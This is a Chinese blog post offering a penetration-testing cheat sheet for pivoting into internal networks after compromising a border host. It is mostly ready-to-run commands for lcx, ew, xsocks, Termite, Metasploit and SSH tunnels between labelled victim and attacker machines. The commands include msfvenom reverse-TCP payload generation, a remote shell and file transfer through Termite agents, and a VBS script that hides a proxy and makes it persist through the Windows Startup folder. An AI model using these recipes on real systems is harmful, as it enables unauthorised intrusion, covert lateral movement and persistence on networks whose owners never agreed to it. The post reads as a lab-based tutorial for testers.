渗透测试之通道构建Cheat Sheet

最新推荐文章于 2024-06-03 10:47:25 发布
最新推荐文章于 2024-06-03 10:47:25 发布
阅读量1.2k 收藏 4
点赞数 2
分类专栏： 渗透测试 文章标签： 内网渗透 边界代理 端口转发 SSH 隧道
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Blood_Pupil/article/details/88913145
版权

文章目录

在进入内网之后我们要做的第一件事就是通过端口转发与边界代理在我们的机器与内网机器之间建立通信通道为我们后续的内网渗透打下基础。前提是拿到边界机器的一定权限！

下文中所有用到的工具地址
本文主要以转发3389端口为例，当然Linux系统中3389端口并不是远程桌面下述如果提及仅是举个例子而已！端口转发只转发特定端口而socks代理则相当于对所有的端口进行了转发

网络拓扑

拓扑0

拓扑0

拓扑1

拓扑1

拓扑2

拓扑2

拓扑3

拓扑3

端口转发

lcx.exe/portmap

Usage1：本地端口转发

  1. 拓扑0

  2. 系统

  3. 命令

#受害者机器（IP:192.168.255.145）
	## Windows
		./lcx.exe -tran 3389 4444
	##Linux
		portmap  -m 2 3389 4444
# 攻击者机器（IP:192.168.255.137）
	## Linux
		rdesktop 192.168.255.145:4444
	## Window
		mstsc.exe

Usage2：转发远程端口

  1. 拓扑1
  2. 系统
  3. 命令
#受害者机器（IP:10.0.0.4）
	## Windows
		./lcx.exe -slave 192.168.255.137 4444 10.0.0.4 3389
	## Linux
		./portmap  -m 3 -h1 192.168.255.137 -p1 4444 -h2 10.0.0.4 -p2 3389
# 攻击者机器（IP:192.168.255.137）
	## Linux
		rdesktop 127.0.0.1:4444
	## Window
		mstsc.exe

系统自带

  1. 沿用上述拓扑
  2. 各机器终端命令
    系统
  3. 命令
# 边界机器（IP:192.168.255.145）
	## Linux
		echo '1' > /proc/sys/net/ipv4/ip_forward
		iptables -t nat -A PREROUTING -d 192.168.255.145 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:3389
	##Windows
		netsh interface ipv6 install #（不过在Windows XP/2003中使用上述命令时首先要使用如下命令安装IPv6扩展）
		netsh interface portproxy set v4tov4 listenaddress=127.0.0.1  listenport=3333 connectaddress=10.0.0.4 connectport=3389
		netsh interface portproxy show all
# 攻击者机器（IP:192.168.255.137）
	## Linux
		rdesktop 192.168.255.145:3389
	## Window
		mstsc.exe

socks代理

xsocks

Usage 1：正向socks代理，防火墙入站规则不严格，连接代理时不会被Block

  1. 沿用上述拓扑
  2. 各机器终端命令
    xsocks_u13. 命令
#边界机器（IP:192.168.255.145）
	## Linux
		./xsocks  -l 1080
	## Windows
		xsocks.exe -l 1080
#攻击者机器（IP:192.168.255.137）
	## Linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 边界机器IP 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## Window
		proxifier.exe  #(添加mstsc.exe规则)

Usage 2：反向socks代理，防火墙入站规则严格，连接代理时会被Block

  1. 沿用上述拓扑
  2. 各机器终端命令
    xsocks_u23. 命令
#攻击者机器（IP:192.168.255.137）
	## Linux
		./xsocks -t  -p1 1088 -p2 1080  #注意端口顺序，顺序不对容易失败
	## Windows
		xsocks.exe  -t  -p1 1088 -p2 1080  #注意端口顺序，顺序不对容易失败
#边界机器（IP:192.168.255.145）
	## Linux
		./xsocks -r 10.0.0.1:1088
	## Windows
		xsocks.exe -r 10.0.0.1:1088
#攻击者机器（IP:192.168.255.137）
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Usage 3：socks服务器重定向，穿透内网中的内网

  1. 网络拓扑如下所示：

  2. 各机器终端命令
    xsocks_u33. 命令

#边界机器2（IP:10.0.2.129）
	## Linux
		./xsocks -l 1080
	## Windows
		xsocks.exe -l 1080
#攻击者机器（IP:192.168.255.137）
	## Linux
		./xsocks -t  -p1 1088 -p2 1080  #注意端口顺序，顺序不对容易失败
	## Windows
		xsocks.exe  -t  -p1 1088 -p2 1080  #注意端口顺序，顺序不对容易失败
#边境机器1（IP:192.168.255.145）
	## Linux
		./xsocks -s 10.0.0.4:1080 -r  192.168.255.137:1088
	## Windows
		xsocks.exe -s 10.0.0.4:1080 -r  192.168.255.137:1088
#攻击者机器（IP:192.168.255.137）
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

sSocks（主要用于Linux系统）

此工具功能和xsocks类似，但是我在尝试使用此工具时出现错误为此还是用xsocks吧

More Powerful

ew

可以说ew是lcx及sSocks的结合体，它综合了两者的特性，其中sScoks相关的模块主要用于开启正反向socks代理服务，lcx相关模块主要用于将例如socks等基于TCP的服务转发到内网边界。

Group1：sSocks相关模块

Usage1： 正向代理
  1. 拓扑1
  2. 各机器终端命令
    ew_g1_s13. 命令
#边界机器（IP:192.168.255.145）
	## Linux
		./ew -s ssocksd -l 1080
	## Windows
		ew.exe -s ssocked -l 1080
#攻击者机器（IP:192.168.255.137）
	## Linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 边界机器IP 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## Window
		proxifier.exe  #(添加mstsc.exe规则)
Usage2：反向代理
  1. 拓扑1
  2. 各机器终端命令
    ew_g1_u2
  3. 命令
#攻击者机器（IP:192.168.255.137）
	## Linux
		./ew -s rcsocks  -l 1080 -e 1088
	## Windows
		ew.exe  -s rcsocks  -l 1080 -e 1088  
#边界机器（IP:192.168.255.145）
	## Linux
		./ew -s rssocks -d 192.168.255.137 -e 1088
	## Windows
		ew.exe -s rssocks -d 192.168.255.137 -e 1088
#攻击者机器（IP:192.168.255.137）
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Group2：lcx相关模块

Usage1：转发本地端口
  1. 拓扑0
  2. 各机器终端命令
    ew_g2_u1
  3. 命令
#受害者机器（IP:192.168.255.145）
	## Linux
		./ew -s lcx_tran -l 4444 -f 127.0.0.1 -g 3389
	## Windows
		ew.exe -s lcx_tran -l 4444 -f 127.0.0.1 -g 3389
#攻击者机器（IP:192.168.255.137）
	## Linux
		rdesktop 192.168.255.145:4444
	## Window
		mstsc.exe
Usage2：正向远程端口转发
  1. 拓扑0
  2. 各机器终端命令
    ew_g2_u2
  3. 命令
#攻击者机器（IP:192.168.255.137）
	## Linux
		./ew -s lcx_tran -l 4444 -f 192.168.255.145 -g 3389
		rdesktop 192.168.255.145:4444
	## Windows
		ew.exe -s lcx_tran -l 4444 -f 192.168.255.145 -g 3389
		mstsc.exe
Usage3：反向远程端口转发
  1. 拓扑0
  2. 各机器终端命令
    ew_g2_u3
  3. 命令
#攻击者机器（IP:192.168.255.137）
	## Linux
		./ew -s lcx_listen -l 3389 -e 4444
	## Windows
		ew.exe -s lcx_slave -l 4444 -f 192.168.255.145 -g 3389
#受害者机器（IP:192.168.255.145）
	## Linux
		./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 127.0.0.1 -g 3389
	## Windows
		ew.exe -s lcx_slave -d 192.168.255.137 -e 4444 -f 127.0.0.1 -g 3389
#攻击者机器（IP:192.168.255.137）
	## Linux
		rdesktop 127.0.0.1:3389
	## Windows
		mstsc.exe
Usage4：反向远程端口跳转
  1. 拓扑1
  2. 各机器终端命令
    ew_g2_u4
  3. 命令
#攻击者机器（IP:192.168.255.137）
	## Linux
		./ew -s lcx_listen -l 3389 -e 4444
	## Windows
		ew.exe -s  lcx_listen -l 3389 -e 4444
#边界机器（IP:192.168.255.145）
	## Linux
		./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 3389
	## Windows
		ew.exe -s lcx_slave -l 4444 -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 3389
#攻击者机器（IP:192.168.255.137）
	## Linux
		rdesktop 127.0.0.1:4444
	## Windows
		mstsc.exe

Group3：综合使用

综合的使用sSocks及lcx两个功能模块效果更佳：》，这里只举一个例子

  1. 拓扑2
  2. 各机器终端命令
    ew_g3
  3. 命令
#边界机器2（IP:10.0.2.129）
	## Linux
		./ew  -s ssocksd -l 1080
	## Windows
		ew.exe  -s ssocksd -l 1080
#攻击者机器（IP:192.168.255.137）
	## Linux
		./ew -s lcx_listen -l 1080 -e 4444
	## Windows
		ew.exe  -s lcx_listen -l 1080 -e 4444
#边境机器1（IP:192.168.255.145）
	## Linux
		./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 1080
	## Windows
		ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 1080
#攻击者机器（IP:192.168.255.137）
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Termite

Termite是后渗透主机管理工具代理及端口转发仅是其附属功能

Group1：代理管理命令

Termite_g1
Termite管理代理机器的模式如上图所示即管理者通过admin端正向连接到agent端，各agent端之间可以通过正向连接和反向连接两种方式互相连接。

Usage1：admin端正向连接agent
  1. 拓扑1
  2. 各机器终端命令
    Termite_g1_u1
  3. 命令
#边界机器1（IP:192.168.255.145）
	## Linux
		./agent -l 4444
	## Windows
		agent.exe -l 4444
#攻击者机器（IP:192.168.255.137）
	## Linux
		./admin -c 192.168.255.145 -p 4444
	## Windows
		admin.exxe -c 192.168.255.145 -p 4444
Usage2：agent端正向连接agent

在Usage1基础上

  1. 拓扑1
  2. 各机器终端命令
    Termite_g1_u2
  3. 命令
#边界机器2（IP:10.0.0.4）
	## Linux
		./agent -l 4444
	## Windows
		agent.exe -l 4444
#攻击者机器（IP:192.168.255.137）
	goto 1
	connect 10.0.0.4 4444
Usage3：agent端反向连接agent

在Usage1的基础上

  1. 拓扑1
  2. 各机器终端命令
    Termite_g1_u3
  3. 命令
#攻击者机器（IP:192.168.255.137）
	goto 1
	listen 4444 
	#（上述命令可选，在Usage1情况下不执行此条命令，只有通过反向连接到其他代理的代理机器想要其他机器进行反向连接时需要使用此命令）
#边界机器2（IP:10.0.0.4）
	## Linux
		./agent -c  10.0.0.2 -p 4444
	## Windows
		agent.exe -c 10.0.0.2 -p 4444

无论通过什么方式在各机器之间建立连接，连接建立后通道均相同。

Group2：代理命令

本节操作基于上节操作

Usage1：正向端口代理
  1. 拓扑1
  2. 各机器终端命令
    Termite_g2_u1
  3. 命令
#边界机器2（IP:10.0.0.4）
	## Linux
		nc -lvp 6666
	## Windows
		nc.exe -lvp 6666
#攻击者机器（IP:192.168.255.137）
	goto 1    #(goto到任意代理机器都可以)
	lcxtran 6666 10.0.0.4 6666
	## Linux
		nc 127.0.0.1 6666
	## Windows
		nc.exe 127.0.0.1 6666

正向端口代理存在建立速度慢，3389转发异常（如下图所示）两个缺点，优点是转发端口对应的服务程序关闭后隧道仍然存在比如上述中nc关闭后再重新打开还是可以继续通信，并且可以多跳代理。
Termite_g2_u1_err

Usage2：反向端口转发

Termite实现的反向端口转发和其他的反向端口转发不一样，这里是正的反向端口转发，服务提供者竟然是攻击者。。。不知道作者是故意设计的这个功能还是理解错了反向端口转发这个意思，还是我理解错了这个功能。。。作者对于此功能的简要解释如下：

[20180814] ( Free 1.8 ) 增加反向隧道的功能(backtran指令，是lcxtran的镜像操作)，将本地可达的一个地址端口，映射至agent的一个指定端口，在后渗透测试中可以用于构造反弹木马的上线隧道，或反向访问本地可达的任意TCP服务。

  1. 拓扑1
  2. 各机器终端命令
    Termite_g2_u2
  3. 命令
#攻击者机器（IP:192.168.255.137）
	goto 2  #(注意需要goto到反向代理的机器而不是跳板机，可以隔多跳)
	backtran 7777 192.168.255.137 7777
	## Linux
		nc -lvp 7777
	## Windows
		nc.exe  -lvp 7777
#边界机器2（IP:10.0.0.4）
	## Linux
		nc 127.0.0.1 7777
	## Windows
		nc.exe 127.0.0.1 7777
Usage3：socks代理

个人人为socks代理还是比较好用的，在想提供socks服务的代理机器上直接执行socks执行就可以通过本地相应端口访问提供服务的代理机器所处的内网环境。

  1. 拓扑2
  2. 各机器终端命令
    Termite_g2_u3
  3. 命令
# 攻击者机器（IP：192.168.255.137）
goto 2
socks 1080
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Group3：shell

  1. 拓扑2
  2. 各机器终端命令
    Termite_g3
  3. 命令
# 攻击者机器（IP：192.168.255.137）
goto 3
shell 6666
	## linux
		nc 127.0.0.1 6666
	## window
		nc.exe 127.0.0.1 6666

支持重连即nc关闭后从新连接相应端口shell还在

Group4：文件操作

Usage1：上传文件
  1. 拓扑1
  2. 各机器终端命令
    Termite_g4_u1
  3. 命令
# 攻击者机器（IP：192.168.255.137）
goto 2
upfile test test.txt
Usage2：下载文件
  1. 拓扑1
  2. 各机器终端命令
    Termite_g4_u2
  3. 命令
# 攻击者机器（IP：192.168.255.137）
goto 2
downfile agent_win32.exe test.exe

其实总的来说还是不太稳定啊！如果开放源码就好了：<

msf

Group1：socks代理

  1. 拓扑2
  2. 各机器终端命令
    msf_g1
  3. 命令
# 攻击者机器（IP：192.168.255.137）
	msfvenom -platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.137 lport=4444 -f exe -o test.exe
	msfvenom -platform windows -a x86 -p windows/meterpreter/bind_tcp lhost=10.0.0.4 lport=4444 -f exe -o test1.exe
	#（这里为了方便直接使用msfvenom生成payload在受害者机器执行， 第一个payload是反向TCP为边界机器1准备，第二个payload是为边界机器2准备的，由于边界机器2无法反向连接攻击者主机所以只能选择bind_tcp即等待正向连接的payload）
	msfconsole
	#(进msfconsole)
	use exploit/multi/handler
	set payload windows/meterpreter/reverse_tcp
	set lhost 192.168.255.137
	set lport 4444
	run 
# 边界机器1（IP：192.168.255.145）
	点击test.exe
# 边界机器2（IP：10.0.0.4）
	点击test1.exe
# 攻击者机器（IP：192.168.255.137）
	#(进入meterpreter)
	run get_local_subnets #（查看此跳板机所连接的各个子网）
	run post/multi/manage/autoroute #（这条命令很重要是为msf建立路由，注意是msf路由即msf这个框架中使用的路由与主机路由没有关系，后期的socks代理端口代理及其他模块的使用都会使用到msf框架路由）
	background
	set payload windows/meterpreter/bind_tcp
	set rhost 10.0.0.4
	set lport 4444
	run 
	#(进入meterpreter)
	run get_local_subnets
	run post/multi/manage/autoroute
	background
	back
	use auxilary/server/socks4a
	set srvhost 127.0.0.1
	exploit -j
	## linux
		#（在新终端中）
		vi /etc/proxychains.conf #(修改最后一行为socks4 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
		CTRL+C
		rdesktop 10.0.2.128:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

Group2：端口转发

Usage1：正向连接
  1. 拓扑2
  2. 各机器终端命令
    msf_g2_u1
  3. 命令
# 攻击者机器（IP：192.168.255.137）
	#(msfconsole上下文)
	sessions -i 1
	portfwd add -l 3389 -r 10.0.0.4 -p 3389
	rdesktop 127.0.0.1:3389

建立10.0.2.128的3389端口转发时不成功，并且建立后隧道不可复用即断开后重新连接转发端口连接不成功后台服务消失，并且删除原来的隧道重新建立新的隧道也不成功：<

Usage2：反向连接

使用reverse_tcp这个payload时并未复现成功，问题如下。不是很鲁棒：< ！！！

meterpreter > portfwd add -R -L 192.168.255.145 -l 5555 -p 6666
[-] Failed to create relay: A socket error occurred.
meterpreter > portfwd flush

但是观察攻击者主机的tcp连接建立情况可以推测出是运行于目标主机reverse_tcp这个payload的问题换一个payload试试，嗯确实成功不了：《

ssh

隧道建立命令：
ssh 选项 IP1:PORT1:IP2:PORT2 username@IP3

选项介绍：

  • -R 反向隧道。默认情况下，-g选项及IP1指定在-R上下文中无效，远端仅绑定回环地址。需要将/etc/ssh/sshd_config配置文件中的GatewayPorts选项设置为True才可以对远端地址进行绑定。
  • -L 正向隧道
  • -g 开启网关功能即目标主机的所有网卡都会监听PORT1端口此时不用指定IP1即可，
  • -N 创建隧道时不打开IP3的shell
  • -f 后台运行隧道，与-N连用
  • -C 压缩传输数据，会降低速度
  • -q 安静模式
  • -n 禁止隧道从stdin读入数据（其实就是讲stdin重定向到了/dev/null）
  • -T 禁止开启伪终端

参数介绍

IP1IP2IP3执行者
正向目标主机远程主机（相对于跳板机）跳板机目标主机
反向目标主机远程主机（相对于跳板机）目标主机跳板机

这里远程主机指得是提供服务的机器比如提供rdp（3389）服务的机器，目标主机代表的远程主机端口要转发到的主机。
正反向隧道建立过程中根据目标主机、远程主机及目标主机这三者随机组合（即是这三者哪些是在同一台机器上）及命令执行者不同可以出现如下图的几种情况
ssh

Group1： 正向端口转发（本地代理）

ssh通过ssh隧道提供的端口转发及socks代理与上述提到的工具不同。

Usage1：机器将一个端口转发到本地另一个端口，用于绕过端口过滤

目标主机、远程主机、跳板机为同一台机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g1_u1
  3. 命令
# 边界机器（IP：192.168.255.143）
	## linux
		nc -lvp 3389
	## window
		nc.exe -lvp 3389	
	ssh -CfNg -L 4444:127.0.0.1:3389 domain_ubuntu@127.0.0.1
	输入密码
# 攻击者机器（IP：192.168.255.137）
	## linux
		nc 127.0.0.1 4444
	## window
		nc.exe 127.0.0.1 4444
Usage2：远程端口正向隧道到边界机器

仅目标主机、跳板机为相同机器，即命令执行者是IP3机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g1_u2
  3. 命令
# 边界机器（IP：192.168.255.143）
	ssh -CfNg -L 5555:10.0.0.4:3389 domain_ubuntu@127.0.0.1
	输入密码
# 攻击者机器（IP：192.168.255.137）
	## linux
		rdesktop 192.168.255.143:5555
	## window
		proxifier.exe  #(添加mstsc.exe规则)
Usage3：将远程端口正向转发到攻击者主机

目标主机、跳板机，远程主机为不同机器，即命令执行者是IP1

  1. 拓扑3
  2. 各机器终端命令
    ssh_g1_u3
  3. 命令
# 攻击者机器（IP：192.168.255.137）
	ssh -CfNg -L 5555:10.0.0.4:3389 domain_ubuntu@192.168.255.143
	输入密码
	## linux
		rdesktop 127.0.0.1:5555
	## window
		mstsc.exe

Group2： 反向端口转发（远程代理）

此例中反向连接攻击主机时（kali）出现Permission denied, please try again.的问题，只需要在/etc/ssh/sshd_config中添加PermitRootLogin no即可。

Usage1：边界机器端口反向转发到攻击者

仅跳板机，远程主机为相同机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g2_u1
  3. 命令
# 边界机器（IP：192.168.255.143）
	## linux
		nc -lvp 5555
	## window
		nc.exe -lvp 5555	
	ssh -qCfNg -R 8888:127.0.0.1:5555 root@192.168.255.137
	输入密码
# 攻击者机器（IP：192.168.255.137）
	## linux
		nc 127.0.0.1 8888
	## window
		nc.exe 127.0.0.1 8888
Usage2：边界机器将远程机器端口反向转发到攻击者

目标主机、跳板机，远程主机为不同机器

  1. 拓扑3
  2. 各机器终端命令
    ssh_g2_u2
  3. 命令
# 边界机器（IP：192.168.255.143）
	ssh -qCfNg -R 3389:10.0.0.4:3389 root@192.168.255.137
	输入密码
# 攻击者机器（IP：192.168.255.137）
	## linux
		rdesktop 127.0.0.1:3389
	## window
		mstsc.exe

Group3：socks代理

Usage1：正向socks
  1. 拓扑3
  2. 各机器终端命令
    ssh_g3_u1
  3. 命令
# 攻击者机器（IP：192.168.255.137）
	ssh -fNg -D 1080 root@192.168.255.143
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)
Usage2：反向 socks
  1. 拓扑3
  2. 各机器终端命令
    ssh_g3_u2
  3. 命令
# 边界机器（IP：192.168.255.143）
	ssh -fNg -R 1080 root@192.168.255.137
# 攻击者机器（IP：192.168.255.137）
	## linux
		vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
		proxychains bash
		rdesktop 10.0.0.4:3389
	## window
		proxifier.exe  #(添加mstsc.exe规则)

低权限（Webshell权限）代理及转发工具

有时在进行渗透测试过程中你只可以获得低权限的shell比如你只可以上传Webshell，由于此时你接触不到系统的shell（cmd，bash等）那么上述所提工具就没法使用，不过总是有对策的不是！下面三款工具允许在攻击者在低权限情况下进行端口转发，由于这些工具通过复用http隧道进行转发或代理还具有一定的过防火墙功能。

Tunna

Tunna是这三款工具中年龄最小的，最近的一次modify是在4个月前（当前时间是2019/5/9），其提供了socks代理及指定端口转发功能，工具的详细信息可以参考其首页。

reGeorg

reGeorg是这三款工具中年龄居中的，最近的一次modify是在2年前（当前时间是2019/5/9），其只提供socks代理功能，工具的详细信息可以参考其首页。

reDuh

reDuh是这三款工具中年龄最老的，最近的一次modify是在7年前（当前时间是2019/5/9），其只提供socks代理功能，工具的开发者与reGeorg好像是一个团队，由于工具较老建议使用前面两者，工具的详细信息可以参考其首页。

HTTPTunnel

ABPTTS

总结

  • 当然上述直接在边界机器执行带窗口的xsocks好像不太好我们可以通过VBS代码隐藏窗口，例如下述代码。把下述代码保存为vbs文件并置于机器的开机启动目录中，比如window7启动目录为C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup，但是不同版本开机启动目录不同，文件夹中可以使目标机器开机即启动
Dim WH
set WH = CreateObject("Wscript.shell")
WH.Run "xsocks.exe -l 1080",0,false
  • 在上述众多情况中如果内网可以访问外网的话可以直接使用攻击主机代替边界机器。
  • 上述工具中反向代理的命令形式都非常接近都需要在攻击端开启一个本地端口环路。
  • socks代理是单向的即使用代理的机器可以主动连接到被代理内网内的机器但这些内网机器无法主动连接使用代理的机器。
  • socks代理还是比端口转发好用一些
  • 端口转发工具还是lcx及ew的lcx模块更加好用并且稳定一些
  • 上述实现了socks代理的工具所提供的socks代理服务都还比较稳定
  • 上述介绍的端口转发都是本机的回环回环通过服务程序与远程会话结合的过程（没时间画图了，这一片博客写死个人：>）
  • Termite反向端口转发出现打破了我对反向端口转发认知，或者说Termite实现的反向端口转发是否可以称之为反向端口转发功能
  • 其实上述工具别人都有介绍过，那么自己耗费了这么长时间重新写一遍有意义吗？我感觉当然有啦最起码实际应用了上述工具，了解了各工具的特性，可以抽象出各工具的工作原理，熟悉了网络环境，掌握了几乎所有现有的内网转发工具，为自己的工具开发提供灵感
Blood_Pupil
关注
  • 2
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
内网通道构建——socks
SheXinK’s Blog
12-23 1057
内网通道构建——socks篇1、 测试环境2、 内网通道构建2.1、SSF2.2、EW2.3、SSOCKS2.4、XSOCKS 1、 测试环境   攻击机：192.168.11.137   Target1：192.168.11.151 192.168.21.101   Target2：192.168.21.102   假如拿到了Target1的shell，需通过Target1构建通道，访问Targ...
Xsocks 反弹代理s5
Coisini的博客
06-15 937
About XSOCKS is a reliable socks5 proxy server for windows and linux. It has support forward and reverse mode. More information about socks5 : RFC1928 Complier Windows devenv.exe build.sln /rebuild R...
内网渗透之通道构建
joke_ljh的博客
10-10 727
实验环境： Win7：192.168.152.136 Win2008：192.168.152.135 物理机：199.200.233.176 在win2008阻止物理机的访问，即win2008只可以win7访问 物理机可以访问win7不能访问win2008： 情景1 假设win已经拿到最高权限了，现在通过win7为跳板去访问内网的win2008 1. netsh 端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。 系统原生了一些命令，可以用来做端口转发，一次只能指定一个端口进行转发，所以效率
内网渗透-详解代理逻辑及隧道
最新发布
2401_84466227的博客
06-03 749
红蓝对抗过程中打点以后往往需要进行内网渗透和横向移动，因此大家都需要扎实掌握代理和隧道知识，一款优秀的代理工具也可以给内网渗透带来很大的收益。1代理客户端，帮助客户端完成所需请求。举例：小星要向银行贷款，可是因为自己资历不够，所以不获银行放贷，小星个人无法贷到所需款项。此时，只要小星找一个满足资历的A先生去帮忙借贷，银行自然就会放贷。贷款到账后，A先生再私下把钱给到小星。就整个流程来看，对于银行（服务端）来说，借款是贷给A先生了，但实际上款项还是流向了小星（客户端），但银行（服务端）是不知道的。
iptables & netfilter cheatsheet
oneslide
05-12 145
大致命令格式： iptables [-t table] {-A|-C|-D} chain rule-specification 选项列表： Option Description -A, –append chain rule-specification It will help to append one or more rules to the end of the selected or current chain. -C, –check chain rule-specificati
从渗透的角度分析正向代理和反向代理
qq_43671947的博客
07-11 929
从渗透的角度分析正向代理和反向代理 正向代理服务器一般配置要求低，主要充当流量转发 如搭建vps服务器，隐藏攻击者ip，上外网等 反向代理服务器一般配置要求高，主要充当数据处理 如肉鸡充当服务器或cdn（内容分发网络），搭建钓鱼网站，托管攻击工具与代码等 正向代理是攻击者通过代理服务器去连接外网ip；反向代理是外网ip去连接攻击者服务器。 但最终起到的作用是都可以隐藏攻击者真实ip。这是最终目的。 ...
Pentest-Cheat-Sheet:渗透测试工具表
05-26
渗透测试工具表 目录： CTF工具 发现 思科公司 D B 域名解析 手指 的FTP HTTP-HTTPS IRC 的Kerberos Kubernetes LDAP RDP 真实服务器 雷迪斯 RPC 同步 中小型企业 SMTP协议 SNMP协议 SSH协议 系统路径 ...
latex-cheatsheet：我几年前制作的紧凑型LaTeX Cheatsheet的模板
02-03
标题"latex-cheatsheet：我几年前制作的紧凑型LaTeX Cheatsheet的模板"揭示了这是一个专门为LaTeX初学者或熟练者设计的便捷工具。速查表通常包含了LaTeX的基本语法、常用命令和环境，旨在帮助用户快速查找和回忆...
cheatsheet for mac
12-14
标题中的“cheatsheet for mac”指的是Mac操作系统中的一种实用工具，它可以帮助用户快速了解并记忆各种应用程序的快捷键。快捷键是提高工作效率的关键，尤其是在使用计算机时，熟练掌握快捷键能够大大提升工作速度...
cheatsheet-paper-A4:https
03-10
1 CheatSheet：IT行业知名的论文 PDF链接： ，类别： 博客网址： ： 相关文章： ， 归档我或给星标。 1.1论文：分布式系统 数词 姓名 概括 1个 亚马逊Dynamo：HA K / V商店 （） 2个 Google文件系统 （ ） 3 ...
CheatSheet_1.3.4.zip
05-08
CheatSheet for Mac是专门用来查看应用程序快捷键的工具，安装好cheatsheet软件后，在软件界面长按Command键即可快速查看快捷键列表，非常的便捷，想要了解更多关于软件的快捷键，那就赶紧试试cheatsheet for mac吧...
无文件渗透实验
一个码农的笔记
03-09 4336
无文件渗透实验—这是60字节webshell的杂技前几天看了一个文章《全球上百家银行和金融机构感染了一种“无文件”恶意程序，几乎无法检测》 觉得powershell很是神奇，自己希望亲手实验一下，以最大程度还原“无文件”攻击方式拓扑设计 拓扑介绍： 其中192.168.1.0/24模拟的是公网的环境 172.21.132.0/24模拟的是企业内网的环境 边界web服务器双网卡（公网的：192.1
内网端口转发及穿透-
jackjack博客
09-21 9222
转 内网端口转发及穿透 最近尝试了一些内网端口的转发和内网穿透，现在一起总结一下。 0x01 正向和反向代理 正向代理中，proxy和client同属一个LAN，对server透明； 反向代理中，proxy和server同属一个LAN，对client透明。 实际上proxy在两种代理中做的事都是代为收发请求和响应，不过从结构上来看正好左右互换了下...
内网渗透系列：内网跨边界应用
闵行小鱼塘
07-27 1274
与《内网渗透系列：内网穿透（隧道）学习》可以互相补充
内网代理穿透2：termite代理穿透
da_chuan_chuan的博客
01-27 4328
文章目录前言一、基础选项用法二、具体使用1、建立代理节点2、具体攻击总结 前言 termite工具前身是ew，在复杂的内网环境他的使用很人性化。操作也是十分便捷。 程序主要分为两部分，控制端[admin]和代理端节点[agent]，当代理节点链路形成之后我们就可以直接通过控制端调用任意节点，就不需要向传统的那样一级一级往下代理了。 实验环境： termite工具在Windows和Linux都可以使用，这里为了方便只实验Windows环境。我在虚拟机中搭建了2台win8，1台win7。win8_1两块网卡一
内网渗透测试——内网转发
cldimd的博客
04-01 713
内网转发目的： 渗透测试中，我们往往会面对十分复杂的内网环境。比如最常用的防火墙，它会限制特定端口的数据包出入。 A可以访问B的80端口，但是不能访问B的3389端口。 A可以访问B，B可以访问C，但是A不可以访问C。需要通过B转发数据，让A和C进行通信。 代理： （一）正向代理 我们常说的代理就是指正向代理，正向代理的过程，它隐藏了真实的请求客户端，服务端不知道真实的客户...
渗透测试之内网转发
qq_29864185的博客
07-01 224
内网转发 当我们获取到了网站的Webshell之后，如果我们想获取该主机的有关信息，我们可以将该主机的webshell换成MSF的shell。直接生成一个木马，然后在菜刀中执行该木马，我们就能接收到一个MSF类型的shell了。 如果我们还想进一步的探测内网主机的信息的话，我们就需要进行内网转发了。我们是不能直接和内网的主机通信的，所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。 内网转发 内网转发随想 内网穿透工具FRP的使用 ———————————————— 版..
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值